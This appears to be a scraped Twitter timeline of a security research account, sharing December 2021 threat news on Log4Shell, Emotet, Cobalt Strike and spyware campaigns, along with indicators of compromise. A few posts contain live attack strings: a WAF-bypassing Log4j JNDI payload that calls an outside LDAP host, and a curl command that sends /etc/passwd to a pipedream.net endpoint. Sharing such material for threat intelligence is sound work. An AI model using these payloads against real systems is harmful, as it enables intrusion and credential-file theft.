J2k Cybersecurity Research Team @j2ksec
J2k Cybersecurity Research Team #CTF #malware #exploitdev #APT #offensivesecurity #infosec #cybersecurity #SOC j2ksec.com Colombia Joined August 2010-
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Owowa: the add-on that turns your OWA into a credential stealer and remote access panel #stealer #cyberattack #cybersecurity #malware securelist.com/owowa-credenti…
Phorpiex botnet is back with a new Twizt: Hijacking Hundreds of crypto transactions #cyberattack #cybersecurity #botnet #malware #crypto #phorpiex blog.checkpoint.com/2021/12/16/pho…
Mass spyware campaign targets thousands of ICS computers around the world #cyberattack #cybersecurity #ics #spyware kaspersky.com/about/press-re…
PseudoManuscrypt: a mass-scale spyware attack campaign #spyware #malware #cyberattack #cybersecurity ics-cert.kaspersky.com/reports/2021/1…
Just bypassed AWS WAF for log4j jndi injection: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} Anyone who care to share Akamai Bypass? #bugbountytips
Log4Shell: How It’s Being Exploited and How to Mitigate Damage #cybersecurity #cyberattack #exploit #log4j #log4shell recordedfuture.com/log4shell-expl…
Suspected Iranian hackers target airline with new backdoor #cybersecurity #cyberattack #exploit #slack zdnet.com/article/suspec…
Hackers Begin Exploiting Second Log4j Vulnerability as a Third Flaw Emerges #cybersecurity #cyberattack #exploit #log4j thehackernews.com/2021/12/hacker…
Chinese State-Sponsored Cyber Espionage Activity Supports Expansion of Regional Power and Influence in Southeast Asia #cybersecurity #cyberattack #exploit #espionage recordedfuture.com/chinese-state-…
Google Warns That NSO Hacking Is On Par With Elite Nation-State Spies #spy #cybersecurity #cyberattack wired.com/story/nso-grou…
How the "Contact Forms" campaign tricks people #phishing #malware #cybersecurity #cyberattack isc.sans.edu/forums/diary/H…
Proof of Concept Exploit for ManageEngine ServiceDesk Plus CVE-2021-44077 github.com/horizon3ai/CVE… #Pentesting #Exploit #CVE #CyberSecurity #Infosec
Sharing this short post that I've written on how to quickly and lazily write malware. #redteam #maldev captmeelo.com/redteam/maldev…
Emotet starts dropping Cobalt Strike again for faster attacks - @LawrenceAbrams bleepingcomputer.com/news/security/…
#IcedID (A.K.A #Bokbot) 🤖 #BlueTeam AutoOpen macro HTA code embedding in #MalDoc Masquerading (jpg) DLL payload exec via regsvr32 Path: C:\Users\Public #DFIR exec flow: Winword > Explorer [COM] Explorer > mshta > regsvr32 > regsvr32 Thanks, @pr0xylife bazaar.abuse.ch/sample/f604ca5…
Todays' flow - #log4j #log4shell Rogue LDAP -> Base 64 Serialized data -> Char bytes -> etc/passwd WAF bypass : {${:::::::::::::::::-j}ndi: Final behavior curl -i -X POST https://enhvcu12y09lt7y(.m.pipedream.net?host=o=tomcat --data-binary @/etc/passwd github.com/aanubhavioc/ra…
If you are on your computer and suddenly an adult video pops up, you might be pwned by #log4shell This class file first opens a video of PH on your system before furthering infection. N0t4n3xplo1t.class Low detection on VT - 1/56 Rogue LDAP is still up. bazaar.abuse.ch/sample/8244408…
2021-12-14 (Tuesday) - #CobaltStrike from #IcedID (#Bokbot) infection - CobaltStrike 64-bit DLL hosted at hxxp://149.91.89[.]17/soft/musicbee.dll - CobaltStrike C2 uses api.musicbee.getlist.destinycraftpe[.]com as C2 domain on 104.41.145[.]218 - Sample at bit.ly/3m5ToRz
🚨 New #CobaltStrike C2's. - 11 on the same range of /koltary.com (#Emotet) - All with Watermark 0. 103.208.86.7 103.208.86.19 103.208.86.20 103.208.86.21 103.208.86.22 103.208.86.27 103.208.86.39 103.208.86.44 103.208.86.64 103.208.86.68 103.208.86.70 github.com/CronUp/Malware…

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MSE @DigitalMistica
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!hector! /dev/null @c1b3rh4ck
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Y4r4G @Y4r4G_
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CronUp Ciberseguridad @Cronup_CyberSec
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